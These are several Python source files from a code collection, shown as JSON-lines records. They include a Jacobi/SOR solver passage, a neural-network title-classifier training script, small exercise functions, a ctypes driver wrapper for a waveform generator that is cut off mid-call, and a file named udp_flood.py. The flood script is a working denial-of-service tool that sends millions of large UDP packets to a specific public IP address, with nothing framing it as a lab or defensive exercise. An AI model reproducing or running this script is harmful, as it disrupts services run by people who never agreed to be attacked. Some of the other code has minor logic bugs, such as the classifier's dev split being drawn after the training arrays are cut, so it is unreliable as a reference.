sets up the D, L & U matrices first. Then calculates the spectral radius, sr. By finding the largest\n absolute eigenvalue of the Jacobi Iteration Matrix.\n With sr found, this function iterates over each element of the solution vector (if sr < 1) using\n the equation given in the lecture slides. And it does this for a specified amount of iterations,\n defined in the function call.\n \"\"\"\n\n # Sets up initial 0 matrices for D, L & U. Also sets up n.\n n = len(b)\n D = np.zeros((n, n))\n L, U = D.copy(), D.copy()\n A, b = pivot(m.copy(), b.copy()) # not strictly diagonally dominant but performs a partial pivot\n\n if x is None:\n x = np.zeros(n)\n\n # Find diagonal, lower and upper matrices D, L, U respectively\n for i in range(n):\n for j in range(n):\n if j == i:\n D[i, j] = A[i, j]\n elif j-i > 0:\n L[i, j] = A[i, j]\n else:\n U[i, j] = A[i, j]\n\n # Finds spectral radius, using eigenvalues of Jacobi iteration matrix\n j = np.dot(np.linalg.inv(D), (L + U))\n eigvals, eigvec = np.linalg.eig(j)\n sr = np.absolute(eigvals).max()\n\n # If spectral radius < 1, iterates through input number of iterations and for\n # each solution, checks to see if the solution has converged. If the convergence\n # threshhold of 1e-13 has been met, the loop ends.\n z = [x]\n convergence_counter = 0\n updated_counter = i\n if sr < 1:\n for j in range(n):\n for i in range(1, iterations):\n x = np.dot(np.linalg.inv(D + L), (b - np.dot(U, x)))\n z.append(np.array(x))\n if np.absolute(z[i][j] - z[i-1][j]) < convergence:\n print('Solution vector component {} converges at N={}'.format(j+1, i))\n updated_counter = i\n break\n else:\n continue\n\n # Updates the counter that tracks largest amount of iterations, when the function ends it gives\n # iterations required for convergence\n if updated_counter > convergence_counter:\n convergence_counter = updated_counter\n\n if np.absolute(z[i][j] - z[i-1][j]) > convergence: # checks the very last iteration for convergence to check for non-convergence due to low iteration count\n print('Low iteration count')\n else:\n continue\n else:\n print('No solutions')\n\n return x, convergence_counter\n\n\n\n## Successive Over Relaxation method\n\ndef SOR(A,b, iterations=10000, x=None, convergence=1e-13):\n \"\"\"\n Successive Over Relaxation iteration method for input matrices A and b. Returns solution vector x,\n optimal relaxation parameter & iterations required for convergence, respectively.\n The method sets up the D, L & U matrices first. Then calculates the optimal relaxation parameter\n by finding the spectral radius of the Jacobi iteration matrix. i.e. the largest absolute eigenvalue\n of the Jacobi iteration matrix. Then uses the equation given in the lecture slides to calculate\n the optimal relaxation parameter, w.\n With w found this function iterates over each x value if 1 < w < 2, there should be n of them. And it does this\n for a specified amount of iterations, defined in the function call.\n \"\"\"\n\n # Sets up initial 0 matrices for D, L & U. Also sets up n.\n n = len(b)\n if x is None:\n x = np.zeros(len(b))\n\n D = np.zeros((n, n))\n L = D.copy()\n U = D.copy()\n\n # Find diagonal and lower and upper matrices D, L, U respectively\n for i in range(n):\n for j in range(n):\n if j == i:\n D[i, j] = A[i, j]\n elif j-i > 0:\n U[i, j] = A[i, j]\n else:\n L[i, j] = A[i, j]\n\n # Relaxation parameter W calculation\n\n J = np.dot(np.linalg.inv(D), (L + U))\n eigvals, v = np.linalg.eig(J)\n eigvals_abs = np.absolute(eigvals)\n sr = np.max(eigvals_abs)\n print('Spectral Radius: ', sr)\n w = 2 / (1 + (1-sr**2)**0.5)\n\n # Calculates terms 1, 2 and 3 as required for the final equation for x(k+1)\n # because the equation is long\n t1 = np.linalg.inv(D + (w * L))\n t2 = (w * b)\n t3 = (w * U + (w - 1) * D)\n\n # If optimal relaxation parameter: 1 < w < 2; iterates through input number of iterations and for\n # each solution, checks to see if the solution has converged. If the convergence\n # threshhold of 1e-13 has been met, the loop ends.\n if 1 < w < 2:\n z = [x]\n convergence_counter = 0\n for j in range(n):\n for i in range(iterations):\n x = np.dot(t1, (t2 - np.dot(t3, x)))\n z.append(np.array(x))\n if np.absolute(z[i][j] - z[i-1][j]) < convergence:\n updated_counter = i\n break\n else:\n continue\n\n # Updates the counter that tracks largest amount of iterations, when the function ends it gives\n # iterations required for convergence\n if updated_counter > convergence_counter:\n convergence_counter = updated_counter\n\n # checks the very last iteration for convergence to check for non-convergence due to low iteration count\n if np.absolute(z[i][j] - z[i-1][j]) > convergence:\n print('Low iteration count')\n\n else:\n continue\n\n else:\n print('No Solutions.')\n\n return x, w, convergence_counter\n","sub_path":"PH388functions.py","file_name":"PH388functions.py","file_ext":"py","file_size_in_byte":10333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"343169673","text":"'''\npython train_nn.py\npython test_nn.py > ans.labeled\n../../script/grade-prediction.py ../../data/titles-en-test.labeled ans.labeled\n'''\n\nimport sys, os\nsys.path.append(os.pardir)\nfrom dataset import titles_en_train\nimport numpy as np\nfrom common.networks import Trainer, SGD, Momentum, SimpleNeuralNetwork\nfrom collections import defaultdict\nfrom itertools import islice\nimport pickle\nfrom stemming.porter2 import stem\n\nclass FeatureModel:\n def __init__(self, feature_size=25000, mode='train'):\n self.idx = defaultdict(self.new_id)\n self.feature_size = feature_size\n self.mode = mode\n \n def new_id(self):\n '''\n 新しい素性用のidを発行する。\n もし、素性サイズの上限を超える場合はunkとして、一律でself.feature_size - 1を割り当てる\n '''\n if self.mode == 'train':\n return min(len(self.idx), self.feature_size - 1)\n else:\n return self.feature_size - 1\n \n def extract(self, x):\n features = [0] * self.feature_size\n\n # unigram (up to 21,920 features)\n for token in x:\n token = token.lower()\n token = stem(token)\n features[self.idx['UNI: ' + token]] += 1\n \n # # bigram (up to 113,303 features)\n # for token in zip(x, x[1:]):\n # features[self.idx[f'BI: {token[0]} {token[1]}']] += 1\n \n return features\n\n def save_params(self, file_name='feature_model.pkl'):\n with open(file_name, 'wb') as f:\n pickle.dump(([*self.idx.items()], self.feature_size), f)\n \n def load_params(self, file_name='feature_model.pkl'):\n with open(file_name, 'rb') as f:\n idx, self.feature_size = pickle.load(f)\n for key, value in idx:\n self.idx[key] = value\n\ndef main():\n feature_size = 25000\n hidden_size = 512\n output_size = 2\n\n print('load train data from source file ... ')\n x_train, t_train = titles_en_train.load_labeled()\n\n feature_model = FeatureModel(feature_size=feature_size)\n\n for i, x in enumerate(x_train):\n x_train[i] = feature_model.extract(x)\n for i, t in enumerate(t_train):\n t_train[i] = 0 if t == -1 else 1\n\n print(f'{len(feature_model.idx)} features')\n feature_model.save_params()\n\n x_train, t_train = np.array(x_train[:-1000]), np.array(t_train[:-1000])\n x_test, t_test = np.array(x_train[-1000:]), np.array(t_train[-1000:])\n print(x_train.shape)\n print(t_train.shape)\n\n print('Start training ... ')\n model = SimpleNeuralNetwork(x_train.shape[1], hidden_size, output_size)\n optimizer = Momentum(lr=0.1)\n trainer = Trainer(model, optimizer)\n\n print(f'Initial dev acc: {model.accuracy(x_test, t_test)}')\n trainer.train(x_train, t_train, max_epoch=10, batch_size=100)\n\n final_acc = model.accuracy(x_test, t_test)\n print(f'Final dev acc: {final_acc}')\n\n with open(f'model.pkl', 'wb') as f:\n pickle.dump((feature_size, hidden_size, output_size, model.params), f)\n\nif __name__ == '__main__':\n main()","sub_path":"tosho/tutorial07/train_nn.py","file_name":"train_nn.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"573490879","text":"import random\n\noption = int(input(\"choose task:\\n\"\n \"enter 1,2,3 or 4\\n\"\n \"task: \"))\nif option == 1:\n head = int(input(\"head: \"))\n x = int(input(\"x: \"))\n tails = random.sample(range(10, 30), 5)\n\n\n def cons(head, tails):\n list = []\n list.append(head)\n list.append(tails)\n print(list)\n\n cons(head, tails)\n\n\nelif option == 2:\n begin = int(input(\"begin \"))\n end = int(input(\"end \"))\n step = int(input(\"step \"))\n\n def rrange(begin,end,step):\n begin = int(input(\"begin \"))\n end = int(input(\"end \"))\n step = int(input(\"step \"))\n list = []\n if (begin > end and step > 0) or (begin < end and step < 0):\n return print(\"list: \", list)\n else:\n for i in range(begin, end, step):\n list.append(i)\n print(\"list: \",list)\n\n rrange(begin,end,step)\n\nelif option == 3:\n\n print()\nelif option == 4:\n m = int(input(\"m: \"))\n n = int(input(\"n: \"))\n\n\n def A(m, n):\n\n if m == 0:\n return n + 1\n elif n == 0:\n return A(m - 1, 1)\n else:\n return A(m - 1, A(m, n - 1))\n print(A(m, n))","sub_path":"Code.ipynb.py","file_name":"Code.ipynb.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"167313923","text":"#!/usr/bin/env python\nimport socket\naddr=('23.234.34.15', 80)\ns=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\ni = 0\ndata = 'A' * 4096 * 15\nwhile 1:\n i += 1\n if i > 10000000:\n break\n s.sendto(data, addr)\ns.close()\n","sub_path":"udp_flood.py","file_name":"udp_flood.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"118548798","text":"# communicating with modulars via dll\nfrom colorama import init, Fore, Back\ninit(autoreset=True) #to convert termcolor to wins color\n\nfrom os.path import basename as bs\nmdlname = bs(__file__).split('.')[0] # modular's name e.g. AWG, VSA, ADC\ndebugger = 'debug' + mdlname\n\nfrom inspect import stack #extract method's name\nfrom functools import wraps #facilitate wrapper's comments\nfrom ctypes import c_int, c_bool, c_char_p, byref, cdll, c_char, c_long, c_double, c_float\nfrom ctypes.util import find_library\nfrom pyqum.instrument.logger import address, get_status, set_status, status_code\n# from pyqum.instrument.toolbox import squarewave\nfrom time import sleep\n\n# dloc = \"C:\\\\Program Files\\\\IVI Foundation\\\\IVI\\Bin\\\\AgM933x_64.dll\" #64-bit\ntry:\n lib_name = find_library('AgM933x_64.dll')\n print(Fore.YELLOW + \"%s's driver located: %s\" %(mdlname, lib_name))\n dll = cdll.LoadLibrary(lib_name) #Python is 64-bit\nexcept: print(Fore.RED + \"%s's driver not found in this server\" %mdlname)\n\ndef debug(state=False):\n exec('%s %s; %s = %s' %('global', debugger, debugger, 'state'), globals(), locals()) # open global and local both-ways channels!\n if state:\n print(Back.RED + '%s: Debugging Mode' %debugger.replace('debug', ''))\n return\n\ndebug() # declare the debugger mode here\n\n## The name should be consistent with the functions provided in driver's manual\n# 1. Initialize\ndef InitWithOptions(IdQuery=False, Reset=False, OptionsString='Simulate=false, DriverSetup=DDS=false'):\n '''[Initialize the connection]\n status = InitWithOptions(IdQuery, Reset, OptionsString)\n '''\n # rs = address(mdlname, reset=eval(debugger)) # Instrument's Address\n ad = address()\n rs = ad.lookup(mdlname) # Instrument's Address\n Resource = bytes(rs, 'ascii')\n Option = bytes(OptionsString, 'ascii') # utf-8\n Session = c_long()\n \n AGM = dll.AgM933x_InitWithOptions # from AgM933x.chm\n AGM.restype = c_int\n status = AGM(c_char_p(Resource), c_bool(IdQuery), c_bool(Reset), c_char_p(Option), byref(Session))\n msession = Session.value\n if status == 0:\n set_status(mdlname, dict(state=\"initialized\", session=msession))\n else: \n set_status(mdlname, dict(state=\"Error: \" + str(status)))\n msession = get_status(mdlname)[\"session\"]\n print(Fore.GREEN + \"%s's connection Initialized at session %s: %s\" % (mdlname, msession, status_code(status)))\n \n return msession\n\n## WRAPPER\n# 2.1 Get/Set Attribute (String, Int32, Real64, Boolean)\ndef Attribute(Name):\n @wraps(Name)\n def wrapper(*a, **b):\n \n session, Type, RepCap, AttrID, buffsize, action = Name(*a, **b)\n RepCap = bytes(RepCap, \"ascii\")\n \n AGM = getattr(dll, 'AgM933x_' + action[0] + 'AttributeVi' + Type)\n AGM.restype = c_int # return status (error)\n \n if action[0] == \"Get\":\n if Type == 'String':\n action[1] = (c_char*888)() # char array: answer value format (use byref)\n status = AGM(c_long(session), c_char_p(RepCap), c_int(AttrID), c_long(buffsize), byref(action[1]))\n ans = [x.decode(\"ascii\") for x in action[1]] # decoding binary # if x is not b'\\x00'\n while '\\x00' in ans:\n ans.remove('\\x00')\n ans = \"\".join(ans) # join char array into string\n elif Type == 'Int32':\n action[1] = c_long()\n status = AGM(c_long(session), c_char_p(RepCap), c_int(AttrID), byref(action[1]))\n ans = action[1].value\n elif Type == 'Real64':\n action[1] = c_double()\n status = AGM(c_long(session), c_char_p(RepCap), c_int(AttrID), byref(action[1]))\n ans = action[1].value\n elif Type == 'Boolean':\n action[1] = c_bool()\n status = AGM(c_long(session), c_char_p(RepCap), c_int(AttrID), byref(action[1]))\n ans = action[1].value\n\n elif action[0] == \"Set\":\n if Type == 'String':\n ans = action[1]\n action[1] = bytes(action[1], 'ascii')\n status = AGM(c_long(session), c_char_p(RepCap), c_int(AttrID), c_char_p(action[1]))\n elif Type == 'Int32':\n ans = action[1]\n status = AGM(c_long(session), c_char_p(RepCap), c_int(AttrID), c_long(action[1]))\n elif Type == 'Real64':\n ans = action[1]\n status = AGM(c_long(session), c_char_p(RepCap), c_int(AttrID), c_double(action[1]))\n elif Type == 'Boolean':\n ans = action[1]\n status = AGM(c_long(session), c_char_p(RepCap), c_int(AttrID), c_bool(action[1]))\n\n # Reformatting Answer if RepCap has something:\n RepCap = RepCap.decode('ascii')\n if RepCap != \"\":\n hashtag = \" #Channel %s\" %(RepCap)\n else: hashtag = \"\"\n\n # Logging Answer:\n if action[0] == \"Get\": # No logging for \"Set\"\n if status == 0:\n set_status(mdlname, {Name.__name__ + hashtag : ans}) #logging the name and value of the attribute\n else: set_status(mdlname, {Name.__name__ + hashtag : \"Error: \" + str(status)})\n\n # Debugging\n if eval(debugger):\n if action[0] == \"Get\":\n print(Fore.YELLOW + \"%s %s's %s: %s, %s\" %(action[0], mdlname, Name.__name__ + hashtag, ans, status_code(status)))\n if action[0] == \"Set\":\n print(Back.YELLOW + Fore.MAGENTA + \"%s %s's %s: %s, %s\" %(action[0], mdlname, Name.__name__ + hashtag, ans, status_code(status)))\n\n return status, ans\n return wrapper\n\n@Attribute\n#define AGM933X_ATTR_INSTRUMENT_MODEL 1050512\ndef model(session, Type='String', RepCap='', AttrID=1050512, buffsize=2048, action=['Get', '']):\n \"\"\"[Model Inquiry ]\n The model number or name reported by the physical instrument.\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_ACTIVE_MARKER 1150058\ndef active_marker(session, Type='String', RepCap='', AttrID=1150058, buffsize=2048, action=['Get', '']):\n \"\"\"[Active Marker ]\n Establishes the active marker output connector. Once the output marker is selected, \n it may be configured by setting one of the four marker attributes which determine the marker's source, delay, pulse width, and polarity.\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_LOGICAL_NAME 1050305\ndef logical_name(session, Type='String', RepCap='', AttrID=1050305, buffsize=2048, action=['Get', '']):\n \"\"\"[Logical Name ]\n Logical Name identifies a driver session in the Configuration Store. If Logical Name is not empty, the driver was initialized from information in the driver session. \n If it is empty, the driver was initialized without using the Configuration Store.\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_IO_RESOURCE_DESCRIPTOR 1050304\ndef resource_descriptor(session, Type='String', RepCap='', AttrID=1050304, buffsize=2048, action=['Get', '']):\n \"\"\"[Resource Descriptor ]\n The resource descriptor specifies the connection to a physical device. It is either specified in the Configuration Store or passed in the ResourceName parameter of the Initialize function. \n It is empty if the driver is not initialized.\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_MARKER_SOURCE 1150065\ndef marker_source(session, Type='Int32', RepCap='', AttrID=1150065, buffsize=0, action=['Get', '']):\n \"\"\"[Get/Set Marker Source ]\n Sets/Gets the marker source. Markers may be output on the four marker output connectors.\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_ARB_SEQUENCE_HANDLE 1250211\ndef arb_sequence_handle(session, Type='Int32', RepCap='', AttrID=1250211, buffsize=0, action=['Get', '']):\n \"\"\"[Arbitrary Sequence Handle ]\n Identifies which arbitrary sequence the function generator produces. \n You create arbitrary sequences with the Create Arbitrary Sequence function. \n This function returns a handle that identifies the particular sequence. \n To configure the function generator to produce a specific sequence, set this attribute to the sequence's handle.\n Set:\n RepCap: < channel# (1-2) >\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_OUTPUT_MODE_ADVANCED 1150051\ndef output_mode_adv(session, Type='Int32', RepCap='', AttrID=1150051, buffsize=0, action=['Get', '']):\n \"\"\"[Advance Output Mode ]\n Sets/Gets the output mode, which may be Arbitrary Waveform, Arbitrary Sequence, or Advanced Sequence. \n In Arbitrary Waveform mode, the generator outputs a single waveform. \n In the other two modes, sequences of waveforms are output.\n Attribute value (mode):\n 1: AGM933X_VAL_OUTPUT_MODE_ARBITRARY\n 2: AGM933X_VAL_OUTPUT_MODE_SEQUENCE\n 3: AGM933X_VAL_OUTPUT_MODE_ADVANCED_SEQUENCE\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_OPERATION_MODE 1250005\ndef operation_mode(session, Type='Int32', RepCap='', AttrID=1250005, buffsize=0, action=['Get', '']):\n \"\"\"[Operation Mode ]\n Sets/Gets how the function generator produces output. When set to Continuous mode, the waveform will be output continuously. \n When set to Burst mode, the ConfigureBurstCount function is used to specify how many cycles of the waveform to output.\n RepCap: < channel# (1-2) >\n Attribute value (mode):\n 0: AGM933X_VAL_OPERATE_CONTINUOUS\t\n 1: AGM933X_VAL_OPERATE_BURST\t\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_TRIGGER_SOURCE_ADVANCED 1150052\ndef trigger_source_adv(session, Type='Int32', RepCap='', AttrID=1150052, buffsize=0, action=['Get', '']):\n \"\"\"[Advanced Trigger Source ]\n Specifies the advanced trigger source, which are can be selected from enums of AgM933XTriggerSourceEnum. \n These sources may be chosen as individual sources or logically OR'd together to allow one of multiple sources to supply the trigger.\n RepCap: < channel# (1-2) >\n Attribute value (mode):\n 0: AgM933xTriggerSourceNoTrigger\t\n 2: AgM933xTriggerSourceExternal1\n 4: AgM933xTriggerSourceExternal2\n 8: AgM933xTriggerSourceExternal3\n 16:\tAgM933xTriggerSourceExternal4\n 1: AgM933xTriggerSourceSoftware1\n 32: AgM933xTriggerSourceSoftware2\n 64: AgM933xTriggerSourceSoftware3\n 256: AgM933xTriggerSourceMarker1\n 512: AgM933xTriggerSourceMarker2\n 1024: AgM933xTriggerSourceMarker3\n 2048: AgM933xTriggerSourceMarker4\n 4096: AgM933xTriggerSourceAuxPort\n 8063: AgM933xTriggerSourceAllSources\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_OUTPUT_CONFIGURATION 1150054\ndef output_config(session, Type='Int32', RepCap='', AttrID=1150054, buffsize=0, action=['Get', '']):\n \"\"\"[Output Configuration ]\n Specifies the configuration of the output signal / the kind of electrical output generated. \n The possible settings are Differential, Single Ended, and Amplified. \n Sending this parameter changes the Output Configuration property/attribute.\n RepCap: < channel# (1-2) >\n Attribute value (mode):\n 0: AgM933xOutputConfiguration: SingleEnded (Single-Ended enables only the plus (+) output port. Output gain is specified as the voltage between the plus output port and ground.)\n 1: AgM933xOutputConfiguration: Differential (Differential uses both the plus (+) and minus (-) output ports. The output gain is specified as the voltage difference between the two channels.)\n 2. AgM933xOutputConfiguration: Amplified (Amplified mode is also a single-ended mode, but with a voltage amplification of 2:1.)\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_OUTPUT_FILTER_BANDWIDTH 1150056\ndef output_filter_bandwidth(session, Type='Int32', RepCap='', AttrID=1150056, buffsize=0, action=['Get', '']):\n \"\"\"[Output Filter Bandwidth ]\n Specifies the bandwidth of the output channel. \n This only affects the output signal when output filtering is enabled.\n RepCap: < channel# (1-2) >\n Attribute value (mode):\n 0: AgM933xFilterBandwidth250MHz: Sets the bandwidth of the arbitrary waveform generator signal to 250 MHz.\t\n 1: AgM933xFilterBandwidth500MHz: Sets the bandwidth of the arbitrary waveform generator signal to 500 MHz.\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_BURST_COUNT 1250350\ndef burst_count(session, Type='Int32', RepCap='', AttrID=1250350, buffsize=0, action=['Get', '']):\n \"\"\"[Burst Count ]\n Sets/Gets the number of waveform cycles that the function generator produces after it receives a trigger. \n The Burst Count is used when the operation mode is Operate Burst.\n RepCap: < channel# (1-2) >\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_REF_CLOCK_SOURCE 1250002\ndef ref_clock_source(session, Type='Int32', RepCap='', AttrID=1250002, buffsize=0, action=['Get', '']):\n \"\"\"The source of the reference clock. \n The function generator derives frequencies and sample rates that it uses to generate waveforms from the reference clock. \n The allowable sources are PXI backplane, External clock, or Internal clock. Selecting the internal clock source is essentially equivalent to having no reference clock. \n Compact PCI chassis do not have a 10MHz backplane reference clock.\n 0: AGM933X_VAL_REF_CLOCK_INTERNAL: The function generator produces the reference clock signal internally. \n 1: AGM933X_VAL_REF_CLOCK_EXTERNAL: The function generator receives the reference clock signal from an external source. \n 101: AGM933X_VAL_REF_CLOCK_RTSI_CLOCK: The function generator receives the reference clock signal from the RTSI clock source (PXI-Backplane). \n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_MARKER_DELAY 1150061\ndef marker_delay(session, Type='Real64', RepCap='', AttrID=1150061, buffsize=0, action=['Get', '']):\n \"\"\"[Marker Delay ]\n Sets/Gets the delay value, in seconds, for the marker connection identified through the Active Marker attribute. \n Marker delay may be adjusted positive or negative. The limits may be determined with the GetAttrMinMaxViReal64 function.\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_MARKER_PULSE_WIDTH 1150064\ndef marker_pulse_width(session, Type='Real64', RepCap='', AttrID=1150064, buffsize=0, action=['Get', '']):\n \"\"\"[Marker Pulse Width ]\n Sets/Gets the pulse width value, in seconds, for the marker connection identified through the Active Marker attribute. \n Markers are always output as pulses of a programmable width. NOTE: Not available for Waveform markers.\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_ARB_GAIN 1250202\ndef arb_gain(session, Type='Real64', RepCap='', AttrID=1250202, buffsize=0, action=['Get', '']):\n \"\"\"[Arbitrary Gain ]\n Sets/Gets the Gain for the waveform. Allowable range of values depends upon connection type: \n Single ended passive mode = 0.170 to 0.250 (best signal fidelity); Single ended amplified = 0.340 to 0.500; \n Differential = .340 to 0.500.This value is unitless.\n Set:\n RepCap=< channel# (1-2) >\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_ARB_SAMPLE_RATE 1250204\ndef arb_sample_rate(session, Type='Real64', RepCap='', AttrID=1250204, buffsize=0, action=['Get', '']):\n \"\"\"[Arbitrary Sample Rate ]\n Sets/Gets the sample rate in samples/sec (Sa/s). Sample rate may be set equal to the sample clock frequency (Output Clock Frequency), or reduced from there by factors of exactly two. \n With sample clock source of Internal, undivided frequency = 1250 MHz.\n Set:\n RepCap=< channel# (1-2) >\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_OUTPUT_IMPEDANCE 1250004\ndef output_impedance(session, Type='Real64', RepCap='', AttrID=1250004, buffsize=0, action=['Get', '']):\n \"\"\"[Output Impedance ]\n Sets/Gets the output impedance on the specified channel. \n Valid values are 0.0, 50.0 and 75.0 Ohms. A value of 0.0 indicates that the instrument is connected to a high impedance load. \n Reset value: 50.0 Ohms.\n Set:\n RepCap=< channel# (1-2) >\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_OUTPUT_CLOCK_FREQUENCY 1150004\ndef output_clock_freq(session, Type='Real64', RepCap='', AttrID=1150004, buffsize=0, action=['Get', '']):\n \"\"\"[Output Clock Frequency ]\n This READ-ONLY attribute is used to ascertain the current clock frequency. \n Changes to the clock frequency must be accomplished with the OutputConfigureSampleClock function.\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_PREDISTORTION_ENABLED 1150005\ndef predistortion_enabled(session, Type='Boolean', RepCap='', AttrID=1150005, buffsize=0, action=['Get', '']):\n \"\"\"[Predistortion Enabled ]\n Sets/Gets the Predistortion Enabled attribute. \n If true (the default), any waveforms that are created are pre-distorted to compensate for amplitude and phase variations in the waveform generator's analog hardware. \n If disabled, no corrections are made.\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_OUTPUT_ENABLED 1250003\ndef output_enabled(session, Type='Boolean', RepCap='', AttrID=1250003, buffsize=0, action=['Get', '']):\n \"\"\"[Output Enabled ]\n Sets/Gets the output enabled state. \n If set to True, the signal the function generator produces appears at the output connector. \n If set to False, no signal is output.\n Set:\n RepCap=< channel# (1-2) >\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n@Attribute\n#define AGM933X_ATTR_OUTPUT_FILTER_ENABLED 1150055\ndef output_filter_enabled(session, Type='Boolean', RepCap='', AttrID=1150055, buffsize=0, action=['Get', '']):\n \"\"\"[Output Filtering Enabled ]\n Enables output filtering selected by the FilterBandwidth property.\n Set:\n RepCap=< channel# (1-2) >\n \"\"\"\n return session, Type, RepCap, AttrID, buffsize, action\n\n# 2.1 Abort Generation\ndef Abort_Gen(session):\n \"\"\"[Abort Waveform Generation]\n \"\"\"\n AGM = dll.AgM933x_AbortGeneration\n AGM.restype = c_int\n status = AGM(c_long(session))\n print(Back.WHITE + Fore.BLACK + \"%s's generation Aborted: %s\" %(mdlname, status_code(status)))\n return status\n\n# 2.2 Create Arbitrary Waveform\ndef CreateArbWaveform(session, Data):\n '''[Create Arbitrary Waveform]\n *Data: \n => minimum: 1000 points\n => maximum: 7.3M points (~8MS per channel) -> ~5.8ms playtime max\n => number of points must be multiples of 8\n => Amplitude between -1 and 1\n => The length of both channels must match up\n *Error usually occur when the points is too few!\n '''\n AGM = dll.AgM933x_CreateArbWaveform\n AGM.restype = c_int\n handle = c_long()\n Size = len(Data)\n carray = (c_double * Size)(*Data)\n status = AGM(c_long(session), c_int(Size), carray, byref(handle))\n if eval(debugger):\n # print(\"Data: %s\" %Data)\n print(Back.YELLOW + Fore.MAGENTA + \"%s: %s (%s)\" %(stack()[0][3], handle.value, status_code(status)))\n return status, handle.value\n\n# 2.3 Create Arbitrary Sequence\ndef CreateArbSequence(session, sequence, counts):\n '''[Create Arbitrary Sequence]\n sequence = [array of < waveform (handle.value from \"CreateArbWaveform\") >]\n counts = [array of corresponding loop# (>0)]\n '''\n AGM = dll.AgM933x_CreateArbSequence\n AGM.restype = c_int\n handle = c_long()\n Size = len(sequence)\n wfmhandles = (c_long * Size)(*sequence)\n loopcounts = (c_long * Size)(*counts)\n status = AGM(c_long(session), c_long(Size), wfmhandles, loopcounts, byref(handle))\n if eval(debugger):\n print(\"Sequence's size: %s\" %Size)\n print(\"Sequence: %s\" %sequence)\n print(\"Sequence's counts: %s\" %counts)\n print(Back.YELLOW + Fore.MAGENTA + \"%s: %s (%s)\" %(stack()[0][3], handle.value, status_code(status)))\n return status, handle.value\n\n# 2.4 Send Numbered Software Trigger (initiate burst/single pulse)\ndef Send_Pulse(session, triggernum=1):\n \"\"\"[Sending Software Trigger to generate single/burst pulse]\n \"\"\"\n AGM = dll.AgM933x_TriggerSendNumberedSoftwareTrigger\n AGM.restype = c_int\n status = AGM(c_long(session), c_long(triggernum))\n if eval(debugger):\n print(Back.YELLOW + Fore.MAGENTA + \"%s: %s\" %(stack()[0][3], status_code(status)))\n return status\n\n# 2.5 Initiate Generation\ndef Init_Gen(session):\n \"\"\"[Initiate Waveform Generation]\n \"\"\"\n AGM = dll.AgM933x_InitiateGeneration\n AGM.restype = c_int\n status = AGM(c_long(session))\n if eval(debugger):\n print(Fore.GREEN + \"%s's generation Initiated: %s\" % (mdlname, status_code(status)))\n return status\n\n# 2.6 Clear Arbitrary Memory\ndef Clear_ArbMemory(session):\n \"\"\"Removes all previously created arbitrary waveforms and sequences from the instrument's memory and invalidates all waveform and sequence handles. \n If either a waveform or sequence is currently being generated, an error will be reported.\n \"\"\"\n AGM = dll.AgM933x_ClearArbMemory\n AGM.restype = c_int\n status = AGM(c_long(session))\n if eval(debugger):\n print(Fore.GREEN + \"%s's arbitrary memory ALL Cleared: %s\" % (mdlname, status_code(status)))\n return status\n\n# 4. close\ndef close(session):\n '''[Close the connection]\n '''\n AGM = dll.AgM933x_close\n AGM.restype = c_int\n status = AGM(c_long(session))\n if status == 0:\n set_status(mdlname, dict(state=\"closed\"))\n else: set_status(mdlname, dict(state=\"Error: \" + str(status)))\n print(Back.WHITE + Fore.BLACK + \"%s's connection Closed: %s\" %(mdlname, status_code(status)))\n return status\n\n# 3. Composite functions based on above methods\ndef prepare_DAC(awgsess):\n # NOTE: This AWG had been decommissioned as of 2020/7/4\n # PENDING: to be adjusted\n # awgsess = AWG.InitWithOptions()\n Abort_Gen(awgsess)\n ref_clock_source(awgsess, action=['Set',int(0)]) # Internal(0) or External(1) 10MHz clock-reference\n predistortion_enabled(awgsess, action=['Set',True])\n output_mode_adv(awgsess, action=['Set',int(2)]) # Sequence output mode\n arb_sample_rate(awgsess, action=['Set',float(1250000000)]) # maximum sampling rate\n active_marker(awgsess, action=['Set','1']) # master\n marker_delay(awgsess, action=['Set',float(0)])\n marker_pulse_width(awgsess, 